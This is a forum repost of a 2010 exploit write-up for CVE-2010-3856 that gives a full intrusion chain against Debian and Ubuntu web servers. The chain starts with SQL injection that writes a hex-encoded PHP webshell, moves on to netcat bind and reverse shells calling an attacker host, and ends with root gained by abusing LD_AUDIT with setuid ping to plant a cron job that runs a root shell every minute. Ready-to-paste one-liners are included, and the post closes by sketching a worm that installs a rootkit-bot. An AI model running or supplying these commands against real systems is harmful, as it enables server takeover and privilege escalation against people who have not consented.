设为首页 收藏本站
查看: 641|回复: 0

[经验分享] Debian <=5.0.6 /Ubuntu <=10.04 Webshell-Remote-Root

[复制链接]

尚未签到

发表于 2018-5-9 09:46:01 | 显示全部楼层 |阅读模式
  
# Exploit>  
# Date: 24-10-2010
  
# Author: jmit
  
# Mail: fhausberger[at]gmail[dot]com
  
# Tested on: Debian 5.0.6
  
# CVE:CVE-2010-3856
  

  
--------------
  
| DISCLAIMER |
  
--------------
  

  
# IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
  
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
  
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
  
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
  
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
  
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
  
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
  
# POSSIBILITY OF SUCH DAMAGE.
  

  
---------
  
| ABOUT |
  
---------
  

  
Debian/Ubuntu remote root exploitation example (GNU dynamic linker DSO vuln).
  
See (http://www.exploit-db.com/exploits/15304/). Should work on other linux
  
distros too.
  

  
--------------
  
| BACKGROUND |
  
--------------
  

  
Typically it isn't possible to use a suidshell or modify /etc/passwd directly after
  
webshell access (user nobody) to gain root access. But with the DSO vuln we can
  
launch commands as root and we can create a socket and connect to the user or setup
  
a bindshell.
  

  
-----------
  
| EXPLOIT |
  
-----------
  

  
After you have found a SQL-Injection vuln you can create a php backdoor. This is typically
  
possible with select into dumpfile/outfile statement. The values are a simple
  
<? passthru($_GET['c']); ?> backdoor.
  

  
---
  
DROP TABLE IF EXISTS `fm`;
  
CREATE TABLE `fm` (
  
`fm` longblob
  
) TYPE=MyISAM;
  
insert into fm (fm) values (0x3c3f20706173737468727528245f4745545b2763275d293b203f3e);
  
select fm from fm into dumpfile '/opt/lampp/htdocs/xampp_backup.php';
  
drop table fm;
  
flush logs;
  
---
  

  
Now you can connect to the server and create a connection with telnet, nc, write
  
binary with perl -e ' print &quot;\x41\x42\x43\x44&quot;', echo -en '\x41\x42\x43\x44', ...
  
If direct shell access isn't possible you can use phpcode to create your own
  
binary with php fwrite:
  

  
---
  
<?php $File = &quot;/tmp/nc&quot;;
  
$Handle = fopen($File, 'w');
  
$Data = &quot;\x41\x42\x43\x44&quot;;
  
fwrite($Handle, $Data);
  
fclose($Handle); ?>
  
---
  

  
Now use
  

  
Bind-Shell:http://victimip/xampp_backup.php?c=nc -l -p 9999 -e /bin/bash
  
Reverse-Shell:http://victimip/xampp_backup.php?c=/bin/nc attackerip 9999 | /bin/bash
  

  
in your webbrowser and connect to your shell
  

  
$ nc victimip 9999
  
id
  
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
  

  
---
  

  
Now lets exploit the DSO vuln. You need umask 0 for correct
  
rw-rw-rw creation of exploit /etc/cron.d/exploit
  

  
$ umask 0
  

  
This is the shellscript for the cron.d entry.
  

  
Bind-Shell:$ echo -e '/bin/nc -l -p 79 -e /bin/bash' > /tmp/exploit.sh
  
Reverse-Shell:$ echo -e '/bin/nc localhost 8888 | /bin/bash' > /tmp/exploit.sh
  

  
Now make your shellscript executable for cron:
  

  
$ chmod u+x /tmp/exploit.sh
  

  
Create rw-rw-rw file in cron directory using the setuid ping program:
  

  
$ LD_AUDIT=&quot;libpcprofile.so&quot; PCPROFILE_OUTPUT=&quot;/etc/cron.d/exploit&quot; ping
  

  
Launch every minute a suid root shell
  

  
$ echo -e '*/1 * * * * root /tmp/exploit.sh' > /etc/cron.d/exploit
  

  
Now you have a root shell every minute.
  

  
$ nc attackerip 79
  
id
  
uid=0(root) gid=0(root) groups=0(root)
  

  
-------------------
  
| EXPLOIT oneline |
  
-------------------
  

  
echo -e '/bin/nc -l -p 79 -e /bin/bash' > /tmp/exploit.sh;/bin/chmod 0744 /tmp/exploit.sh;umask 0;LD_AUDIT=&quot;libpcprofile.so&quot; PCPROFILE_OUTPUT=&quot;/etc/cron.d/exploit&quot; ping;echo -e '*/1 * * * * root /tmp/exploit.sh' > /etc/cron.d/exploit
  

  
$ nc attackerip 79
  
id
  
uid=0(root) gid=0(root) groups=0(root)
  

  
------------------------------
  
| EXPLOIT from webshell only |
  
------------------------------
  

  
http://victimip/xampp_backup.php?c=echo -e '/bin/nc -l -p 79 -e /bin/bash' > /tmp/exploit.sh
  
http://victimip/xampp_backup.php?c=/bin/chmod 0744 /tmp/exploit.sh
  
http://victimip/xampp_backup.php?c=umask 0;LD_AUDIT=&quot;libpcprofile.so&quot; PCPROFILE_OUTPUT=&quot;/etc/cron.d/exploit&quot; ping
  
http://victimip/xampp_backup.php?c=echo -e '*/1 * * * * root /tmp/exploit.sh' > /etc/cron.d/exploit
  

  
$ nc attackerip 79
  
id
  
uid=0(root) gid=0(root) groups=0(root)
  

  
---------------------------------
  
| EXPLOIT from webshell oneline |
  
---------------------------------
  

  
http://victimip/xampp_backup.php?c=echo -e '/bin/nc -l -p 79 -e /bin/bash' > /tmp/exploit.sh;/bin/chmod 0744 /tmp/exploit.sh;umask 0;LD_AUDIT=&quot;libpcprofile.so&quot; PCPROFILE_OUTPUT=&quot;/etc/cron.d/exploit&quot; ping;echo -e '*/1 * * * * root /tmp/exploit.sh' > /etc/cron.d/exploit
  

  
$ nc attackerip 79
  
id
  
uid=0(root) gid=0(root) groups=0(root)
  

  
---------

  
|>  
---------
  

  
Looks like a wormable bug. The urlobfuscated (IDS/IPS) worm search for SQLI/BSQLI bugs or remote code execution bugs.
  
Then the worm injects the evil url and do the same for other ips. It installs a rootkit-bot and the game is over.
  

运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-457488-1-1.html 上篇帖子: 纠结的ubuntu系统 下篇帖子: Ubuntu11.04下安装配置Java VM
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表